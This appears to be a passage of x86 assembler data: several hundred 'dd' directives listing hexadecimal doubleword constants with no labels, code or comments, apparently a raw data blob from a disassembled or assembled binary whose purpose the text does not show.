		dd 8ECB061Dh, 149866h, 1A9A1402h, 0A99F030h, 952FA00h
		dd 37BBC945h, 785A0E6Dh, 931F0Fh, 0C44B6AF7h, 30763B46h
		dd 8619F91Ch, 84CEC100h, 2B08739h, 0D47EA634h, 30661548h
		dd 1E099490h, 0A0DA3EACh, 662C8850h, 0BF2D03C3h, 5ADBEDDCh
		dd 0F7C841DDh, 80C01EE6h, 431234F0h, 37A7BDh, 13C9FBCFh
		dd 17B1CDBCh, 1693893h,	0AB9791Ch, 0C0C034h, 8F297F5Ah
		dd 0BFB02286h, 9F4C7554h, 0EF82390Eh, 35ABC367h, 210FB0FDh
		dd 0B2200326h, 0E2C26DD7h, 91F5E7B0h, 0C95430EBh, 4D399303h
		dd 9AEC6A24h, 544426h, 0BC74EDFAh, 3E23B203h, 0E84AACA0h
		dd 1382260Eh, 0C235E133h, 0BC7005A3h, 7E0101EAh, 4C0C6D25h
		dd 24C423B7h, 940320CDh, 0E334E435h, 22AFF847h,	57500EBAh
		dd 0E2C0C73Bh, 0C97ED393h, 9D1EEC00h, 0DF67855Ch, 0F09055F4h
		dd 92E612C0h, 2B8E3DDCh, 44276F0Ch, 98910351h, 360CE02Ah
		dd 31D50C8Bh, 6EF0A7h, 0B21742EFh, 282DBE2h, 0D4181C2Ah
		dd 5DD4FA0Eh, 6A6E4359h, 78700340h, 300D34BEh, 52F46909h
		dd 540420B1h, 9A840421h, 3FD802C0h, 0D5095810h,	0BBD0A043h
		dd 1F00153Eh, 70439351h, 7465575Fh, 70FA60B3h, 0A23C522Dh
		dd 0FCE1FD29h, 0CA40B080h, 3B6DCF96h, 0E8A6B6BAh, 409C6850h
		dd 0B9AE1D0Bh, 56F51B13h, 0CB09E81Eh, 0E60CA3E8h, 0CE4558Ch
		dd 7D3F424h, 1AE4F24Ah,	0DA293CCBh, 0E4CF00Bh, 1CC400C3h
		dd 63D1AEh, 1B0D9BDFh, 8B9F25B6h, 0B8CE9126h, 0D000E292h
		dd 0C6BB7D09h, 0C77F7Eh
		dd 0F8E1E9EBh, 6A9BF43h, 0D7B0787Bh, 6F14E700h,	1A38EC66h
		dd 48C801E1h, 0AD368DD9h, 0B1642420h, 0FA78F900h, 37382CC1h
		dd 519E0016h, 0A2EE71AEh, 0CF0595C4h, 0FE124FF1h, 561A05C1h
		dd 2003022h, 0F96E2307h, 0BF002B9Bh, 5C34750Bh,	33170Fh
		dd 3E7F095Eh, 48A10CBAh, 11FFB01Dh, 0B1933AC0h,	19F688h
		dd 36E86AC2h, 9A86358Dh, 15A813Ch, 0DDECAD50h, 8887DAACh
		dd 99361B57h, 605BBA81h, 591980A4h, 8B4B8A70h, 25B1C0E2h
		dd 0EB6319AEh, 0A4C7FE01h, 4E80EA4Dh, 0E7310C0h, 0E3312FE7h
		dd 0D9F740D9h, 45398BB1h, 0E677800Ch, 3B229D5Bh, 98834D73h
		dd 0AEDC9EA1h, 80BA713Dh, 0A014AAECh, 1B3B733h,	0A547EA07h
		dd 0C3CCE6FDh, 15A025DBh, 6400B181h, 0FFD38863h, 7F114C8h
		dd 0F0ADE23Ah, 9E9B20DCh, 33000CE3h, 2F97631Dh,	44308Ah
		dd 0F8ED9A47h, 0A5F1891Fh, 0FB1D78C0h, 242EE0F4h, 9A8F5Ah
		dd 336346FCh, 9016F2ECh, 0A700D77Eh, 6DB13547h,	0B08C0C6Ah
		dd 0BB41FB88h, 992E5B00h, 910269C5h, 8D81549h, 833E6CA8h
		dd 3A1CF980h, 4F88DED9h, 0BD2AA102h, 80DD33B4h,	2E03DA90h
		dd 0AC8C0042h, 951B5434h, 71EE7C6h, 14C0B468h, 6A5666D2h
		dd 0AED00125h, 19BBB36Dh, 543CCCC0h, 0E7CD5300h, 0DC5D1B58h
		dd 15A52CB5h, 94F001BEh, 0D4F9543Dh, 310E0106h,	408CF160h
		dd 2B12E5Dh, 5E1530E3h,	0F2CD3D70h, 0E1D75106h,	19201179h
		dd 9137AB60h, 7256EC5Fh, 0E8D93500h, 336CE439h,	18BB0A9Dh
		dd 1B511F0h, 4B2E137Dh,	5B14D0DEh, 0A0ECA900h, 8B9DC262h
		dd 91F46040h, 0E13668DAh, 9E744C00h, 0E39DBC3Fh, 927200F5h
		dd 1379A98Bh, 0C700357Eh, 0CDD6FF3Ch, 1129798h,	62FAF3F6h
		dd 8626759Ch, 5BBE0698h, 6F637BC1h, 0B806092h, 406BDE22h
		dd 0C9F2D700h, 247C1A84h, 0AB10DF41h, 0AC67804h, 5A58F460h
		dd 0CECDDCh, 546010BBh,	977822EEh, 0D938C101h, 48BA88C6h
		dd 0D3B72888h, 90551488h, 0B7B48479h, 48CFA744h, 0CA024288h
		dd 2804A025h, 1C48CB89h, 0AC250FB9h, 6ED960E3h,	8E1938h
		dd 0FC565F02h, 717D9CCDh, 0FB25900h, 215CEE2Fh,	36D00069h
		dd 0E182E26Fh, 37030E03h, 0BA463CBCh, 2E21CFFFh, 87E038A7h
		dd 7E167093h, 0D6B90009h, 0E64C62Ah, 0E9A0328Bh, 510038B3h
		dd 7DD85D9h, 3B6255h, 8E67A65h,	0E26EB2C8h, 0DA4FDE01h
		dd 8F80F3D4h, 622C60h, 5A1CC4E3h, 2031F5F0h, 0CD682200h
		dd 0A70B4946h, 0B7F67Ch, 841ADD38h, 244F1DC7h, 36F6C00h
		dd 74176E51h, 6661E22h,	0D86A8060h, 0EAA26D64h,	0BC803A00h
		dd 4A13FC96h, 959E0054h, 0DC1C26CBh, 33055CD7h,	4B5DB64Fh
		dd 0B6BF280h, 14927Ah, 0A5FEAD37h, 83735A5Fh, 7CF62100h
		dd 453D70C0h, 5A800A6h,	8558AA9Ah, 0FB78C4D4h, 60D260CFh
		dd 90130CDFh, 4B3F007Ch, 5B2EE2ADh, 87000665h, 0CB5D5446h
		dd 92DFBB3Eh, 853B0C24h, 1178D74Fh, 4C9C801h, 6E34E170h
		dd 0F7CDFCh, 8FCC2A37h,	3D7E433Fh, 0C4177872h, 0EF0D47h
		dd 8E763496h, 0E009027h, 0D830DFECh, 904B0h, 5955DAEh
		dd 0A5C203B5h, 0F05E610Fh, 1999600Eh, 743BB46h,	0A1242811h
		dd 0F153408Ah, 0D43C8489h, 6D6600CCh, 0B91A2A98h, 0CDE23C54h
		dd 0C6819F00h, 21552E92h, 8538B600h, 4BBAB8F5h,	9020F3A9h
		dd 0A0F60073h, 973F7A0Eh, 1202C7BBh, 15FFA767h,	869C80EEh
		dd 373DED1h, 0F16823EAh, 97B845C1h, 0CF00B769h,	858A2AAFh
		dd 338B589h, 0FB0F2D21h, 548882D8h, 860BB56h, 0A2327C68h
		dd 7826003Eh, 28671EA4h, 0E20066B3h, 0D5ACBAC3h, 3CE525Bh
		dd 4C06E486h, 0A1C86B92h, 0B93F5491h, 396E8FD1h, 0C66366F2h
		dd 0BF551F19h, 1356008Bh, 76BA364Bh, 66144A0Dh,	0BEF02096h
		dd 0F68504C3h, 80F9EA8Fh, 0B96ECE80h, 0A5E90400h, 2665EC34h
		dd 1829003Dh, 0E01C9E79h, 911DF390h, 0B3071EAAh, 3250DA27h
		dd 0C8A1FAFh, 5EE1C7D5h, 3400BB20h, 7189B6FDh, 2691C72h
		dd 108E04ADh, 0E07FC667h, 0FA2EB93h, 0FD3324F7h, 6CF29DA0h
		dd 34005D45h, 53E9E4Ch,	2F1853h, 0FD706D87h, 2D51FC1Ah
		dd 3866841Eh, 0E382BAC0h, 36ADBCFh, 0D3C36927h,	0AAD36CFEh
		dd 8BF645D8h, 14099D00h, 0B7D7AF39h, 166D0E21h,	95A6631Bh
		dd 411F1294h, 6F4071F8h, 9E30A69Fh, 0D87FE6h, 2C5A9827h
		dd 757DCB18h, 0C20CBE00h, 0B5D258D4h, 0FE027DDAh, 6CEF240Dh
		dd 0A59F0055h, 15795D91h, 6DE36504h, 1182557Fh,	68D4402Dh
		dd 809000E2h, 5C7E714Fh, 0F0C0E68Ch, 0C0F6C5B0h, 76040030h
		dd 55941DD0h, 0D2009B53h, 0FABCFE1h, 0F39221Ah,	6382B0F6h
		dd 0CFBEB7E7h, 7F1762A1h, 1A70208Dh, 0DF687D1Eh, 0A809DB90h
		dd 0CC00F5ACh, 953178E9h, 0A267552Ch, 0DC532D00h, 2425D2h
		dd 0C506FB5h, 0A105FDB9h, 0F2DE3100h, 0BBCB0871h, 553000A5h
		dd 1594BF46h, 0F5E8074Fh, 0D7FA0900h, 5027167Dh, 0E167009Eh
		dd 66FFC618h, 1F07A240h, 0C0F0AAE5h, 407499E2h,	3D0394h
		dd 8058F146h, 2E0699Bh,	86F27700h, 3193BBF3h, 0A29F004Bh
		dd 0F58B87AAh, 0C800CB52h, 0F2542383h, 208A1Bh,	0C30A50E3h
		dd 0AC5F7730h, 0EA763Eh, 2FBAB2F6h, 136AD386h, 1EDFB4Ah
		dd 0CAB55748h, 8F79F403h, 0A561D71Eh, 5CB70CC0h, 7DDDBCEEh
		dd 2FD10010h, 41BD4ACFh, 0FEC3049h, 42663B00h, 8F16EEA4h
		dd 972D07DCh, 5B6041A2h, 67E4200Fh, 925D40F4h, 89E4E0h
		dd 0BA2108ACh, 0DB500DEBh, 1AA5BD00h, 38E0BE1Ch, 0B090CDh
		dd 35E51641h, 30A23365h, 0BA47BC00h, 0CFA49AA8h, 225E006Ch
		dd 1B361373h, 0E6000FACh, 513D6DF6h, 24A5B095h,	1F507CD5h
		dd 4A94407Eh, 44BCF270h, 4E8BBB07h, 9A6038EEh, 3E7D053h
		dd 5825177Eh, 84F0D310h, 8F90F88Eh, 48000971h, 37BCE6C7h
		dd 0FD573Ah, 0A46ACB8Fh, 0BB7C469Bh, 0AA184900h, 0C2813540h
		dd 650700A6h, 90BA50BCh, 5A010999h, 547CB851h, 0E5D026D1h
		dd 80A70B5Ch, 3C00F0BEh, 2F0B6AA6h, 9EDD7200h, 0F38B5673h
		dd 0E107021Eh, 11B89082h, 0EF67C180h, 7A1C0FE6h, 4CC0D4ECh
		dd 0D6F9AE84h, 0BADA0557h, 80DE6D97h, 4BB1AF7Ch, 312D9E00h
		dd 8F0477B4h, 0FED901ECh, 4C7B160Dh, 0C90C60FDh, 0EB2AE600h
		dd 0BF02D66Ch, 0FC652C9Bh, 59E70008h, 0FF0D010Eh, 0DC02C1ECh
		dd 38889CB3h, 291DE0E0h, 6DC2076Ah, 0C09E53A6h,	0B6A73522h
		dd 1CA411C7h, 0EA2067E7h, 155B7h, 9DFE8E7Dh, 0B3BD3B77h
		dd 0BF7ED700h, 21C37228h, 0AB2A001Fh, 896A4DA2h, 5A008CC5h
		dd 28B1669Bh, 0EE8FA9h,	55933C9Ch, 0A6AF29DDh, 5DE2050Bh
		dd 8608000Dh, 16ABC9h, 543EBA4Fh, 0F7136B35h, 0A2816902h
		dd 40751A6Fh, 4F084Ch, 0D192FC6h, 0A3EB51B5h, 78008E77h
		dd 3CD33AFAh, 2A76B627h, 3EA0505Eh, 27B8F0Dh, 0E18A3202h
		dd 0D860AEECh, 0C83D3194h, 2CEACCD7h, 0FC00D63Fh, 3EA6E3C7h
		dd 0DA3050D2h, 94D9FF18h, 0A5C3830h, 0AFDA0AACh, 635F0390h
		dd 7A00332Ah, 4A8D447Ch, 3C78266h, 3521A860h, 38F9B10h
		dd 69F87B31h, 68071261h, 59DBB76Dh, 0E808CE00h,	299900CAh
		dd 2694CCE6h, 2A00D9E7h, 870FEB23h, 7B896970h, 0D47B009Dh
		dd 97D5BC42h, 0EB390EAEh, 80133D95h, 3B8FFBFh, 263C504Dh
		dd 16E7CF7Ah, 0E0F0006Eh, 9AF3A2C2h, 64A3852Eh,	2DABB301h
		dd 2080714Ch, 0FC90F28Ah, 0EE3BFA46h, 0A0961872h, 0FA45128h
		dd 9FF671E9h, 0E227B8E0h
		dd 0AD3061C4h, 0C8FB209Dh, 7AAE041Bh, 805B1832h, 7C369614h
		dd 11855530h, 0BF3F03h,	6EC54DD2h, 0B6FAD650h, 21257330h
		dd 8B5247h, 80B76246h, 21CF9D59h, 0F7A57E00h, 8FB60810h
		dd 0A173006Eh, 0FDA0859Ch, 6C00E3EFh, 256FCADDh, 92D311h
		dd 0F8A29682h, 2775F5CBh, 0A00D4B01h, 0D5AF6F5Eh, 4B98C30h
		dd 0FDBAEA12h, 0BE0488EDh, 0A600467Ch, 0AC41D26Bh, 1231CC9Eh
		dd 5DAABCDCh, 217D8310h, 0F003F579h, 287ED901h,	36110084h
		dd 0AD4C291Fh, 0E71D21D2h, 540995Ah, 90EF1CF7h,	4140008Bh
		dd 0D7C0865h, 0BE00DDDCh, 991258E6h, 169ADABAh,	186E4102h
		dd 0E8B85085h, 0E2564501h, 0EA669F72h, 1442F4h,	0E41C0AF1h
		dd 0E91ED1A0h, 51EC6300h, 7B567E41h, 8820332h, 45B0FE34h
		dd 0E8A1E3D0h, 2C30940Bh, 0B7B40042h, 5039F54h,	0F4D93676h
		dd 0B5AC806Ch, 0A10030F6h, 8004D34Fh, 9CDB5Ah, 3E4B9B28h
		dd 600C6141h, 34D88130h, 7180ECC4h, 0F94700E5h,	9B2CE068h
		dd 0A200278Bh, 1675DD4Ch, 261842DAh, 84A93Eh, 0B664AA66h
		dd 670095EEh, 0EF9B8512h, 0FA068613h, 371D00BDh, 1E7BB580h
		dd 893C8D1Bh, 130280ABh, 5B504074h, 0A96C00EDh,	8FCD80FDh
		dd 81261E23h, 4600CF98h, 400CA6F5h, 9B84005Ah, 0D33C775Dh
		dd 74F4D2C6h, 1C98FB0Eh, 9CA4053h, 0B35512h, 6341A0Ah
		dd 32E7F8D6h, 273D6F00h, 0F4048417h, 0FD8B007Fh, 8EE235B8h
		dd 0CE00BEECh, 1C87D671h, 38B01256h, 608354A0h,	0FB318424h
		dd 0D5C7D012h, 2B5DDC07h, 0D006BD87h, 0B9470029h, 705A8732h
		dd 1A00F901h, 0C090FA39h, 96694804h, 0CA610090h, 28784BC1h
		dd 0D22FBF03h, 0D0E3A51Eh, 0F104A122h, 28A93DE4h, 82472Eh
		dd 3346D060h, 0D3B4D605h, 3D365500h, 17C97B02h,	0AED8CAFCh
		dd 8C1607B0h, 83F980A9h, 52F8E8F3h, 87ECAB00h, 42039674h
		dd 3B197D0Ch, 150089DBh, 8EF0F4CFh, 0A40093D5h,	0B4AE9B20h
		dd 0FB2F91AFh, 60164080h, 1805AD26h, 6A8F018h, 174CDF71h
		dd 2CB997h, 0DDEA69B0h,	9116F4A3h, 0E81F175Fh, 0CB790800h
		dd 0C47B7Fh, 38AF5422h,	0B27CFC33h, 8DE18000h, 3DAFFE6h
		dd 9E062566h, 0D9B96020h, 12EA9510h, 0A62DA50Eh, 46AB4062h
		dd 13025AA2h, 4ED452h, 0D9E5888Fh, 0F001CEDh, 0A7EE035Dh
		dd 0E207130h, 85AFA27h,	0F3921921h, 74D4E04Dh, 47B13Fh
		dd 6A0F8B9Ch, 0DF0E6Eh,	767F1741h, 970440FAh, 0DEB17105h
		dd 50800CCDh, 3C5C1996h, 0AE8061A6h, 43BB45E3h,	0B038FA4Eh
		dd 80693C12h, 0EC380D4Dh, 38A7F96h, 1C81C4DCh, 0E7F89F07h
		dd 2A098C47h, 258EDEADh, 5080AE60h, 45843F5Dh, 0B44C2026h
		dd 9163A805h, 0FA80A1BCh, 7D230FABh, 8E541338h,	0BD1801CFh
		dd 209C620Bh, 6B00277Eh, 878FAAE3h, 4C8C6676h, 0AD1D7CDEh
		dd 0CCD7F7h, 0F6CFDCC4h, 540091AAh, 0F5D84F36h,	0B41C90h
		dd 9368618Ah, 0D5A95D21h, 5348F400h, 0E3E0ED0Dh, 3054008Eh
		dd 0CC6C4055h, 0BD03FF4Dh, 1B24FCFEh, 0DE6AF8B4h, 98B55CDAh
		dd 7682AA0Fh, 0EB9653C0h, 51860B0h, 18806B66h, 0AF380008h
		dd 86696A85h, 3209B8AEh, 8F9329h, 1DC7E4DAh, 6EB50031h
		dd 0F63B0976h, 0E100F8DCh, 2F48546Fh, 39DBFDEh,	0C0F1160Eh
		dd 2A8B2EA7h, 449AB0A7h, 58C07898h, 73096AB4h, 0BED40692h
		dd 1852C08Ch, 0C3D1F000h, 62C6D86Eh, 0E50B0E76h, 0CC6077A8h
		dd 2BE7CBBh, 0E281C101h, 0A933201h, 2BA31F4h, 0B38B1A0Eh
		dd 84681C08h, 267BF1FAh, 1364439h, 3C3849B9h, 60BCD01Dh
		dd 33898101h, 0ECBBD31Fh, 0A1006F06h, 1791E57Dh, 1F993C67h
		dd 184F35h, 1C364377h, 280076A3h, 0A119F97Dh, 1CCA3049h
		dd 0C0E1BB2Ch, 0F489ED21h, 797BDDD5h, 0A1F9E400h, 0D7E5DA50h
		dd 158F1E9Dh, 26803F78h, 0FE9BB0E8h, 0DA7CA92Dh, 1C401401h
		dd 4F9E6446h, 1115AD4h,	3F4879CAh, 0D8F3A7B4h, 0D101165Fh
		dd 2E06DE12h, 0FDF0D228h, 1FC00044h, 131B3E9Bh,	58005602h
		dd 0CAACA5FEh, 8294B2h,	592DFF48h, 0AB71E403h, 0B3104760h
		dd 1FF9E26Fh, 80C8A1B6h, 1760FD57h, 4248DD0Dh, 0B80A7CCAh
		dd 8FB3266Dh, 0B2FB2B02h, 0A534411Bh, 0A883F4h,	5FA3A4A7h
		dd 7256C348h, 2C458B00h, 439FE198h, 0E855509Bh,	0DEB23CD5h
		dd 2B1A400h, 0C151F5D9h, 0E94B2C00h, 0BF72D2E7h, 0DCEC00C7h
		dd 0EE47260Dh, 0D401AA93h, 7EA7F667h, 84F36423h, 0EBBBFA81h
		dd 3E47B7ECh, 0DC285D1Bh, 7B3C00E0h, 0EDF1A557h, 0A6035939h
		dd 0E3BCD0FFh, 0EC2000E5h, 26018FD9h, 0A9FEDD63h, 0F5B13Dh
		dd 0ABCD373Dh, 304DC5E0h, 0E3B0B7D1h, 0BF183CC8h, 2441FB9Bh
		dd 291D0132h, 0DFFF5382h, 0D12881A1h, 2702789Bh, 6F0CC0h
		dd 59658385h, 0F79E33BEh, 0A1055C00h, 0D15090DDh, 0E1B109E5h
		dd 0A2075882h, 0B2C307FDh, 704011A8h, 7600016Eh, 931FB6AFh
		dd 0F38304Ch, 16A4D68Eh, 9E62477Fh, 503A0FEh, 0FC00C206h
		dd 0A0C7E0FFh, 0BB17EBh, 6023DEF4h, 0E7DC6313h,	19474506h
		dd 3820A104h, 5E279706h, 0BA024074h, 804F15ABh,	0CF2B6ED8h
		dd 4AA000DFh, 0A7B0605Dh, 2D0C8A95h, 786311D1h,	12707634h
		dd 3872CF9h, 3F4BA700h,	0B814018h, 3C8073F9h, 2880087Eh
		dd 0F68F176h, 843AE2AEh, 260E0092h, 0F54B72C8h,	10B0603Ch
		dd 225AFFCDh, 80E0D600h, 0CA3247C6h, 1C1A7BE5h,	9FDCC4h
		dd 2829A716h, 870006C1h, 0F83EF170h, 2E0BCFh, 31AB4BFEh
		dd 57616BC6h, 68BF8500h, 0FA783832h, 0D75D00A2h, 0B69C5A72h
		dd 7B00C174h, 6815F375h, 0FF70A4h, 4DD04EF7h, 0EF1C9782h
		dd 6F02C5F2h, 9339192Ah, 0BC2EC14Fh, 0FB20B0DFh, 71440B58h
		dd 0C070358Bh, 6BEFFC1Fh, 9C96FAC0h, 3E68163Dh,	0A280D1CFh
		dd 0CC8C3741h, 7BB8BC82h, 0EFF7B900h, 0FC1574E8h, 1924003Ch
		dd 96D37E6Bh, 9400449Eh, 0D8976A61h, 0EAA463C1h, 865E582Ch
		dd 9DC4D100h, 222E52A3h, 0AAA55B14h, 467D0188h,	0AC37EC97h
		dd 3B8FF040h, 0B4B510CBh, 44A083Ah, 0A5813D56h,	3FD82CCEh
		dd 447ACC83h, 0A0688900h, 576A53E6h, 0C4800038h, 32DA62E0h
		dd 0EE008663h, 66E2CE1Fh, 698215h, 7F4AD0D3h, 2351B93Ch
		dd 4CAC1800h, 0F59CB053h, 841F243Ah, 634788A0h,	21619280h
		dd 6D8E4F1h, 5D95AF83h,	0D37A21A1h, 0C9F8524h, 6B910F86h
		dd 547C6740h, 0A2DBB0A7h, 8D00ED6Eh, 0BB59689h,	0E69FB2CDh
		dd 0A8C1C56h, 0FEFF0040h, 35FAFDAAh, 9906F305h,	5C0A67Dh
		dd 14E7FC7h, 9AAA1A1Fh,	3038488Fh, 0D65C91BEh, 0AC3A0AA3h
		dd 97809032h, 6F7B0401h, 69CA005Dh, 0C05C09FAh,	233928F7h
		dd 0EC558531h, 2E80C786h, 2D72B0h, 0B6589B35h, 0D2DC7BA5h
		dd 15A86700h, 0F43457EAh, 23A0003Bh, 0C12FAA2Eh, 8603180Bh
		dd 0EDB297A9h, 980185B4h, 9ED99A43h, 5D017568h,	642BF80Ah
		dd 4D2C3056h, 5FAAF31Fh, 77A2DF00h, 0DCFE66h, 0DA468CFCh
		dd 1F7C7030h, 0CC75B100h, 0A6F96206h, 0D9CF0718h, 0F0391599h
		dd 26AAE6D3h, 7242201h,	1269D42Bh, 1E7F1D4h, 3AED427Ah
		dd 0E0221FDDh, 550417C4h, 0AB44E033h, 1C6B4480h, 0D3B00240h
		dd 670BD7F9h, 0AFC50CC0h, 0FE1B4C00h, 0FCB2D6ECh, 3A1EC56h
		dd 4F53CA7Eh, 0E800D717h, 481A6178h, 1D0333FBh,	3D579Fh
		dd 0A8C4A75Bh, 280010FDh, 2A796F1Dh, 8D1E7Bh, 552C03D8h
		dd 0A16275EAh, 4099A03h, 91E93E76h, 498339E5h, 0DB85EA34h
		dd 6DB2E790h, 89E6E304h
		dd 0CC836EF1h, 0FF8DB8B9h, 0BD6F00B7h, 276628D7h, 7248D920h
		dd 88037434h, 0F7A01060h, 0DD28801Dh, 0C4FF00A5h, 4794C307h
		dd 0AC00CF3Fh, 0B20EE81Fh, 10DE742h, 0A6F03881h, 0F8D51007h
		dd 0DA2429FFh, 0E0000D24h, 42B9936h, 0CC9A3Ah, 55FE1127h
		dd 6F820119h, 5DFC98C0h, 7E8ABE96h, 9B211C12h, 0FDDF0207h
		dd 30E09577h, 0F7001872h, 21AEB882h, 0E8C6BA33h, 3CB679CDh
		dd 72B03CB3h, 409FF128h, 0BE09DC9Ah, 80111292h,	0FDC51360h
		dd 893A0076h, 0AD0C9FCDh, 36004AB2h, 0B39B2201h, 0C7B2196h
		dd 82FA1607h, 3300D661h, 71F44EF6h, 9656C0h, 776E1936h
		dd 0A434D0C8h, 0C7286F60h, 0C04155EEh, 12B24679h, 4203B327h
		dd 0E2A8A133h, 0E85EE367h, 3E51887h, 7ABE3920h,	0CFDBA7EEh
		dd 0C08F37E1h, 1500924Fh, 0AFFEDEEBh, 5041C9h, 3EB89C8Eh
		dd 0D377106Ah, 296CA000h, 27F5E652h, 0F6451CD9h, 0F89F89B2h
		dd 2398D828h, 44335104h, 0AC046B1Ch, 0B6C80310h, 0F514E2Fh
		dd 4031EE80h, 211D1933h, 48388A55h, 7B1BF984h, 0F32E00B2h
		dd 0DDE1796Bh, 0C60F4096h, 0E013613Dh, 0BE5F5451h, 2B61C183h
		dd 806FE1D7h, 0F14B3F71h, 0F31B8DDh, 73598EA2h,	0F36F280h
		dd 4800B909h, 0E64FCDA1h, 0ECC85D0h, 8D0732C0h,	0B5FE8078h
		dd 5E436D00h, 20A90537h, 0CDB60788h, 0B0268350h, 1BD9ADFBh
		dd 717220C7h, 0FDA5FEF1h, 1111204Eh, 0D5368083h, 1DFD8FFEh
		dd 0C2A5C58Bh, 66ED38E9h, 0AF8198A0h, 3900DE50h, 3E5265Ch
		dd 3994568Ch, 6202E1FDh, 4C965AFBh, 55AD0C60h, 9CB55F2Ah
		dd 843CC1E7h, 6187C7F9h, 9B66001h, 86208136h, 0E5B5F957h
		dd 2A0F77C4h, 0C0D0BDh,	0E217BB11h, 2319F37Ch, 981D6FFAh
		dd 7DC3C8B4h, 0F89A8A57h, 7AA737EAh, 0D20D0705h, 47334AACh
		dd 0FE728002h, 0CE0E82A8h, 0A0A17D77h, 66EBC5DFh, 0E2050C74h
		dd 0D28DBD5h, 0AF160A0Fh, 110F80D0h, 30B4F728h,	85493B3Fh
		dd 75004065h, 0F4DD15B6h, 0CED93Ah, 43DF7429h, 0BF6099E2h
		dd 1BDDA00h, 210D0E3Eh,	8AD400A6h, 0AE82360Ah, 0C700085Eh
		dd 8CAAA8CEh, 1EB02AD5h, 8174561Ah, 88E2A909h, 2C09024h
		dd 6E8055C0h, 540F52D5h, 80D1F9BEh, 0C933F6CFh,	3A3F303Dh
		dd 6F385829h, 0DEFB8204h, 0D1E0A641h, 0A8B900E3h, 2AD8F928h
		dd 61C0225Bh, 778B1944h, 0F2F0053h, 0E6911EA8h,	2E0003A1h
		dd 0FE18BFA5h, 0EC8371h, 5D11F75Eh, 0AABBDCADh,	5ABEC91Eh
		dd 9CA6384Ah, 2906D281h, 1181D4B9h, 2DAAFDD5h, 7128B7ADh
		dd 3E5C38C0h, 0A210C012h, 0CC53041Bh, 7175561Ch, 8765AB06h
		dd 0C9521830h, 0EA42937h, 8C92C100h, 0E1CC03F3h, 15D90039h
		dd 4955CA27h, 0AC00A494h, 8CE8BC71h, 0B8C7826Ah, 0B2A3036Eh
		dd 43ED0FAEh, 0DB2B5BA0h, 44E63Eh, 0A04C9F11h, 0CD9353Fh
		dd 8B08AAB7h, 0D2004678h, 1B8DB232h, 0F2DDC2E3h, 0BA42875h
		dd 0F9170560h, 0A537C6h, 919F0A7Ch, 50C14E9Ch, 0C6EC0DFh
		dd 2442E052h, 890DC0AFh, 2E3E7123h, 1F037854h, 1601D6F8h
		dd 0BA79901Ch, 0CD04834h, 0B3B281C0h, 25545BCBh, 0FF0042A0h
		dd 0FA64907Eh, 7B26B32h, 0CAA2E344h, 0EEDDC166h, 0BE0C20E1h
		dd 7B296E40h, 0DFA9C3B5h, 490C2BC1h, 19D1B424h,	0CDBF185Dh
		dd 0B6903182h, 3CE10541h, 68F0C057h, 0B27F41h, 0B9CB635Dh
		dd 0C81B2A8Eh, 2147E40Ah, 7105800Bh, 0A80A176Dh, 8160E404h
		dd 0E6BC72h, 0CAA321B3h, 44A44A15h, 6C623D77h, 0A0F85B61h
		dd 0A694F398h, 60AE1FC5h, 7F5880C2h, 501D3A5h, 7904EE07h
		dd 0DB61DCA8h, 60868855h, 0EEC547ADh, 3503C8E9h, 0BCA67129h
		dd 0C19E3A80h, 17D1782Ch, 30A9715h, 933995D9h, 6E059FC8h
		dd 64132602h, 0A127C0E2h, 74ADB990h, 7E780C26h,	43370154h
		dd 0F3A00318h, 81C3544h, 79381498h, 98DA805Fh, 60ECB77Eh
		dd 0E0E30FFBh, 9FE02CC2h, 0A8B62B4Ah, 0DDF9E101h, 35AA752Ah
		dd 17ADA980h, 235CCD8Dh, 1FC5D93Ch, 78048671h, 0A088BADFh
		dd 51C9BB2h, 32B3217Fh,	9019B7F0h, 0C4044A08h, 5BEBAC59h
		dd 0E302CC8h, 0B6F7D1DBh, 1425F320h, 3814A347h,	11A0CA22h
		dd 4F00393Fh, 88DA493Dh, 0C3B57FBh, 0CC8380CAh,	9CEB018Dh
		dd 0A875ECADh, 0E1872E4h, 0B4A46BDFh, 2A7F3520h, 630A133Bh
		dd 0DC74A6F9h, 665E38C2h, 41A1E04h, 18C17A51h, 0D95145BCh
		dd 86F040B4h, 480F2442h, 913A0CCh, 493C04A3h, 0D2C1D540h
		dd 182AB55h, 0E1FBF88h,	797EB900h, 0AD3EE9E6h, 90AE2467h
		dd 0E2AC6B82h, 8F9C99BBh, 0D4985B08h, 3D633774h, 9F75A9h
		dd 49E21929h, 0CC6C93C0h, 4D40648h, 0ADD5D4F7h,	21F3C099h
		dd 0A0084040h, 29D6860Ch, 0F00E6806h, 2EA2DE7h,	45682C44h
		dd 0A818263Ch, 0CCA607B4h, 639B3003h, 0A918E08Dh, 0B5613AC9h
		dd 0A25F0277h, 829FAF2Eh, 467D90A4h, 0A2973C9h,	0B823046Fh
		dd 0BCEF0098h, 58FA8E6Dh, 1453DB0Eh, 91EC82C8h,	9E90687Ch
		dd 7CA75074h, 701E249h,	5BF26EE2h, 8946C023h, 0A33D1883h
		dd 8035BBD1h, 0C9129105h, 190F84h, 0E67A609Ch, 0CFE523AEh
		dd 7E3EB58h, 674DCBC1h,	0B72A5800h, 482C18BAh, 2594285Fh
		dd 4656CF06h, 24602218h, 1A2C821h, 0E0AE2F0Dh, 4D0C4010h
		dd 8C7BA9ABh, 141C5C00h, 2F2BEF77h, 89450120h, 8CBC225h
		dd 0F2FF60C9h, 38219937h, 44EBBFC0h, 4D731EC0h,	0E5C282BCh
		dd 108097F2h, 1DE0D00Eh, 10369C0h, 0A345E5h, 0BC2A6631h
		dd 0DFFF523Ah, 8442E600h, 0F4F02225h, 21E70198h, 0C2710674h
		dd 0B811C041h, 0A661D00h, 171859B3h, 0AC561946h, 0CA2C7876h
		dd 0BA237CA2h, 8E09DDE0h, 82D00A0Fh, 0F0C5C3D4h, 0E2881824h
		dd 90639108h, 0F1586B1Fh, 0A0C1E3C0h, 0FA16EEF5h, 0BEA6008Dh
		dd 0DF33AAACh, 0F905928Fh, 0E64A27EAh, 8EED7020h, 92DA1D28h
		dd 4A2FCEF8h, 3C8C880Eh, 0F4607921h, 835EDE76h,	0BEAD0029h
		dd 0CE206A61h, 7D284DFBh, 0A41BD48Ch, 0D340F0DCh, 0CFA900BEh
		dd 0F1610168h, 0C107C787h, 584C64A2h, 899293F0h, 0E630C0D1h
		dd 3BDE9765h, 2AA4D40Eh, 222C4160h, 0B8908B95h,	0DA3680F5h
		dd 0CFBF3048h, 0C31E0961h, 3A93F2D0h, 0ADE7B10Ah, 6600C483h
		dd 43BB0AD6h, 0D8232B40h, 0ABE78CF4h, 683E8829h, 87EC1F67h
